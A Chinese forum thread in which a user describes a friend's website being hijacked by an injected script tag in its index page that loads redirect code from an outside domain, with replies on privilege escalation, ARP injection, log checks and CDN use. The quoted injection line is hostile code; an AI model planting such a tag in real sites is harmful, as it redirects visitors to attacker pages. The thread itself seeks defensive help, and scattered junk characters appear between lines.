关于网站被黑被跳转

浅醉

貌似最近黑客活动的比较频繁

有朋友的网站经常被跳转,就是在index加了句
; u4 G! Z$ t/ E' h+ A' W( N2 `
+ r! {. Y7 V$ P2 B& }: Z: E3 o<script language="javascript" src="http://www.googletracing.com/index.php?i=louisvuitton"></script>

是用这句JS去调用另一个页面的跳转代码来跳转吗?
. G9 A1 F, r8 l5 p/ l# ]# q' E
已经把写入权限关了都还能修改index是怎么回事?
+ D' h4 ?% c5 Y" H! Q
8 s: {3 ^& q( a1 u4 j& |5 f大家对网站安全方面有没有什么心得可以分享一下呢?

aja0x.som

即使你限制了权限，一旦入侵并提权依然可写，只要提的权限够高，一切可写。
% [. g7 G3 n+ ]  M9 a( x; ]另如果是被ARP攻击也可插入代码且无须侵入主机，同一VLAN内即可。
! }' m8 P4 u% |查被修改网站的最近access和error日志吧

sooboo

使用谷歌cdn加速，屏蔽掉真是IP